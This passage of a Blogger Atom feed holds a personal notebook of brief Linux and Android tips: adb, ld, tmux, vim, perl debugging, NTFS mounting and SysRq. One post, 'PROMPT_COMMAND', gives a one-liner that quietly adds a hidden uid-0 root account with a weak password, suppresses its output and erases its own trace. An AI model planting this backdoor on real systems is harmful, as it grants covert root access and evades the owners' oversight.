type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7432999694428944077/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7432999694428944077' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7432999694428944077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7432999694428944077'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/06/switch-server-under-ssh.html' title='switch server under ssh'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7882080341165569786</id><published>2010-06-12T17:16:00.000+08:00</published><updated>2010-09-30T10:40:27.875+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>android notes</title><content type='html'>root shell:  adb shell&lt;br /&gt;upload file: adb remount&lt;br /&gt;             adb push c:\111 /sdcard/&lt;br /&gt;download file: adb pull /sdcard/xxx c:\&lt;br /&gt;install app: adb install [-s] xxx.apk      # -s: to sdcard&lt;br /&gt;uninstall app: adb uninstall [-k] xxx.apk  # -k: keep data&lt;br /&gt;get serialno: adb get-serialno&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7882080341165569786?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7882080341165569786/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7882080341165569786' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7882080341165569786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7882080341165569786'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/06/android-notes.html' title='android notes'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-16289044165891397</id><published>2010-06-08T02:01:00.000+08:00</published><updated>2010-09-30T10:40:27.862+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>use ld to link object file</title><content type='html'>ld -static -o hello -L`gcc -print-file-name=` /usr/lib/crt1.o /usr/lib/crti.o hello.o /usr/lib/crtn.o -lc -lgcc&lt;br/&gt;&lt;div&gt;and&lt;/div&gt;&lt;br/&gt;&lt;div&gt;ld -dynamic-linker /lib/ld-linux.so.2 -o hello -L`gcc -print-file-name=` /usr/lib/crt1.o /usr/lib/crti.o hello.o /usr/lib/crtn.o -lc -lgcc &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-16289044165891397?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/16289044165891397/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=16289044165891397' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/16289044165891397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/16289044165891397'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/06/use-ld-to-link-object-file.html' title='use ld to link object file'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1892839577372899772</id><published>2010-04-29T18:10:00.000+08:00</published><updated>2010-09-30T10:40:27.848+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Carrot Searcher</title><content type='html'>useful tool: Carrot Searcher&lt;br /&gt;&lt;a href="https://chrome.google.com/extensions/detail/klbmngfpdloinccfglicmniaeakhbjmk"&gt;https://chrome.google.com/extensions/detail/klbmngfpdloinccfglicmniaeakhbjmk&lt;/a&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-family:'Times New Roman';font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;text-indent:0;text-transform:none;white-space:normal;word-spacing:0;font-size:medium;"&gt;&lt;span style="font-family:Arial,sans-serif;font-size:13px;text-align:left;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1892839577372899772?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1892839577372899772/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1892839577372899772' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1892839577372899772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1892839577372899772'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/04/carrot-searcher.html' title='Carrot Searcher'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6981819603702481164</id><published>2010-04-28T07:46:00.000+08:00</published><updated>2010-09-30T10:40:27.835+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>jdk乱码处理</title><content type='html'>在/opt/sun-jdk-ver/jre/lib/fonts/下新建一个fallback目录，并在里面创建一个指向中文字体的链接，如：&lt;div&gt;ln -s /usr/share/fonts/default/msyh.ttf msyh.ttf&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6981819603702481164?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6981819603702481164/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6981819603702481164' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6981819603702481164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6981819603702481164'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/04/jdk.html' title='jdk乱码处理'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8294996244755116357</id><published>2010-04-14T17:09:00.000+08:00</published><updated>2010-09-30T10:40:27.822+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>sooset--another powerful lxr tool</title><content type='html'>&lt;div&gt;&lt;a href="http://www.sooset.com/"&gt;&lt;font color="#0000ff"&gt;http://www.sooset.com/&lt;/font&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8294996244755116357?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8294996244755116357/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8294996244755116357' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8294996244755116357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8294996244755116357'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/04/sooset-another-powerful-lxr-tool.html' title='sooset--another powerful lxr tool'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7386929031762283836</id><published>2010-04-09T19:10:00.000+08:00</published><updated>2010-09-30T10:40:27.808+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>tmux --- another screen tool</title><content type='html'>&lt;div&gt;powerful tool than screen under Linux:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;tmux &lt;/div&gt;&lt;br/&gt;&lt;div&gt;site: tmux.sf.net&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7386929031762283836?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7386929031762283836/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7386929031762283836' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7386929031762283836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7386929031762283836'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/04/tmux-another-screen-tool.html' title='tmux --- another screen tool'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3546927974680613425</id><published>2010-03-11T23:50:00.000+08:00</published><updated>2010-09-30T10:40:27.794+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>jam - cross platform make tool</title><content type='html'>&lt;div&gt;&lt;a href="http://freetype.sourceforge.net/jam/index.html"&gt;&lt;font color="#0000ff"&gt;http://freetype.sourceforge.net/jam/index.html&lt;/font&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3546927974680613425?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3546927974680613425/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3546927974680613425' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3546927974680613425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3546927974680613425'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/03/jam-cross-platform-make-tool.html' title='jam - cross platform make tool'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1126007791445158804</id><published>2010-02-18T20:50:00.000+08:00</published><updated>2010-09-30T10:40:27.782+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>mount ntfs</title><content type='html'>&lt;span&gt;mount -t ntfs  -o nodev -o uhelper=hal -o nosuid -o rw -o uid=1000 -o iocharset=utf8  /dev/sdb1 /mnt/sdb1&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1126007791445158804?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1126007791445158804/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1126007791445158804' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1126007791445158804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1126007791445158804'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2010/02/mount-ntfs.html' title='mount ntfs'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-6061200093224804085</id><published>2009-12-31T23:37:00.000+08:00</published><updated>2010-09-30T10:40:27.772+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>PROMPT_COMMAND</title><content type='html'>&lt;div&gt;&lt;span style="text-transform:none;text-indent:0;border-collapse:separate;font:14px arial, sans-serif;white-space:normal;letter-spacing:normal;color:rgb(0,0,0);word-spacing:0;"&gt;&lt;span style="border-collapse:collapse;font-size:13px;"&gt;export PROMPT_COMMAND=&amp;quot;/usr/sbin/useradd -o -u 0 kkoo &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; echo ffoo:123456 | /usr/sbin/chpasswd &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; unset PROMPT_COMMAND&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-6061200093224804085?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/6061200093224804085/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6061200093224804085' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6061200093224804085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6061200093224804085'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/12/promptcommand.html' title='PROMPT_COMMAND'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-2836139776317533820</id><published>2009-12-22T00:30:00.000+08:00</published><updated>2010-09-30T10:40:27.759+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>免费好用的xml格式化工具</title><content type='html'>&lt;div&gt;&lt;br/&gt;&lt;h1&gt;Free XML editor&lt;/h1&gt;&lt;br/&gt;&lt;p&gt;&lt;a href="http://www.firstobject.com/dn_editor.htm"&gt;http://www.firstobject.com/dn_editor.htm&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-2836139776317533820?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/2836139776317533820/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=2836139776317533820' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2836139776317533820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/2836139776317533820'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/12/xml.html' title='免费好用的xml格式化工具'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8684651201598800518</id><published>2009-10-23T23:59:00.000+08:00</published><updated>2010-09-30T10:40:27.747+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>debug perl in sandbox</title><content type='html'>&lt;div&gt;perl -de 0&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8684651201598800518?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8684651201598800518/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8684651201598800518' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8684651201598800518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8684651201598800518'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/10/debug-perl-in-sandbox.html' title='debug perl in sandbox'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8587579679602402104</id><published>2009-10-23T23:20:00.000+08:00</published><updated>2010-09-30T10:40:27.735+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>print hash in perl debugger</title><content type='html'>&lt;div&gt;x %h&lt;/div&gt;&lt;br/&gt;&lt;div&gt;x \%h&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8587579679602402104?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8587579679602402104/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8587579679602402104' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8587579679602402104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/8587579679602402104'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/10/print-hash-in-perl-debugger.html' title='print hash in perl debugger'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-1490040800749173034</id><published>2009-10-14T17:27:00.000+08:00</published><updated>2010-09-30T10:40:27.724+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>vim删除多行注释</title><content type='html'>&lt;div&gt;&lt;br/&gt;&lt;p&gt;:%s/\s*\(\/\*.\{-}\*\/\|\/\/.*$\)//g&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-1490040800749173034?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/1490040800749173034/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=1490040800749173034' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1490040800749173034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/1490040800749173034'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/10/vim.html' title='vim删除多行注释'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7140090062236303467</id><published>2009-09-29T21:08:00.000+08:00</published><updated>2010-09-30T10:40:27.708+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>close monitor under Linux</title><content type='html'>&lt;div&gt;In X:   &lt;/div&gt;&lt;br/&gt;&lt;div&gt;  xset dpms force off&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;In console:  &lt;/div&gt;&lt;br/&gt;&lt;div&gt;  if [ ${TERM} = &amp;quot;linux&amp;quot; ]; then&lt;/div&gt;&lt;br/&gt;&lt;div&gt;      setterm -blank 1 -powersave powerdown&lt;/div&gt;&lt;br/&gt;&lt;div&gt;  fi&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;These need ACPI support, you can use cmd:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;  cat /proc/acpi/info&lt;/div&gt;&lt;br/&gt;&lt;div&gt;to verify this feature.&lt;/div&gt;&lt;br/&gt;&lt;div&gt;This cmd should show &amp;quot;version: 20081214&amp;quot; similar string.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7140090062236303467?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7140090062236303467/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7140090062236303467' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7140090062236303467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7140090062236303467'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/close-monitor-under-linux.html' title='close monitor under Linux'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-407646647334069148</id><published>2009-09-27T19:08:00.000+08:00</published><updated>2010-09-30T10:40:27.691+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Argument list too long error in shell and solution</title><content type='html'>&lt;div&gt;use cmd &amp;quot;getconf ARG_MAX&amp;quot; to get this limit &lt;/div&gt;&lt;br/&gt;&lt;div&gt;this macro is defined in &amp;quot;include/linux/limits.h&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;solution:&lt;/div&gt;&lt;br/&gt;&lt;div&gt;1.  &lt;/div&gt;&lt;br/&gt;&lt;div&gt;find /path/ |xargs -n 100 rm&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;2.  &lt;/div&gt;&lt;br/&gt;&lt;div&gt;for fileset in a b c d e f g h i j k l m n o p q r s t v w x z&lt;br /&gt;do&lt;br /&gt;   /bin/rm $fileset*&lt;br /&gt;done&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;3.&lt;/div&gt;&lt;br/&gt;&lt;div&gt;ls|xargs rm&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;br/&gt;&lt;div&gt;4. modify kernel at &amp;quot;include/linux/binfmts.h&amp;quot;&lt;/div&gt;&lt;br/&gt;&lt;div&gt;#define MAX_ARG_PAGES 32      // modify 32 to larger&lt;/div&gt;&lt;br/&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-407646647334069148?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/407646647334069148/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=407646647334069148' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/407646647334069148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/407646647334069148'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/argument-list-too-long-error-in-shell.html' title='Argument list too long error in shell and solution'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-3747548631570506959</id><published>2009-09-13T22:55:00.000+08:00</published><updated>2010-09-30T10:40:27.676+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>nptl的问题</title><content type='html'>我的显卡是R300系列，用的开源ati驱动，glxgear跑不起来，3D游戏也不能玩。google了半天，说是去掉nptl这个USE，只好这样。重新emerge了一下，需要编译gcc、mesa、xorg-server这三个包。&lt;br /&gt;弄完之后，glxgear了一下，2300多分，相当不错。马上打开glest，果然比较流畅。&lt;br /&gt;查了下nptl，Enable support for Native POSIX Threads Library, the new threading module (requires linux-2.6 or better usually)，这个怎么会影响显卡驱动效果呢？不解。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-3747548631570506959?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/3747548631570506959/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=3747548631570506959' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3747548631570506959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/3747548631570506959'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2009/09/nptl.html' title='nptl的问题'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-8956865067045363814</id><published>2009-09-11T23:06:00.000+08:00</published><updated>2010-09-30T10:40:27.661+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>Magic System Request</title><content type='html'>&lt;div&gt;查看：cat /proc/sys/kernel/sysrq &lt;/div&gt;&lt;br/&gt;&lt;div&gt;设置：CONFIG_MAGIC_SYSRQ&lt;/div&gt;&lt;br/&gt;&lt;div&gt;R-E-I-S-U-B 这个序列的推荐使用方式是：R – 1 秒 – E – 30 秒 – I – 10 秒 – S – 5 秒 – U – 5 秒 – B，而不是一气呵成地按下这六个键&lt;/div&gt;&lt;br/&gt;&lt;div&gt;说明：&lt;/div&gt;&lt;br/&gt;&lt;div&gt;R - 把键盘设置为 ASCII 模式&lt;/div&gt;&lt;br/&gt;&lt;div&gt;E - 向除 init 以外所有进程发送 SIGTERM 信号&lt;/div&gt;&lt;br/&gt;&lt;div&gt;I - 向除 init 以外所有进程发送 SIGKILL 信号&lt;/div&gt;&lt;br/&gt;&lt;div&gt;S - 磁盘缓冲区同步&lt;/div&gt;&lt;br/&gt;&lt;div&gt;U - 重新挂载为只读模式&lt;/div&gt;&lt;br/&gt;&lt;div&gt;B - 立即重启系统&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-8956865067045363814?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/8956865067045363814/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=8956865067045363814' title='0 条评论'/><link rel='edit' type='application/atom+xml' 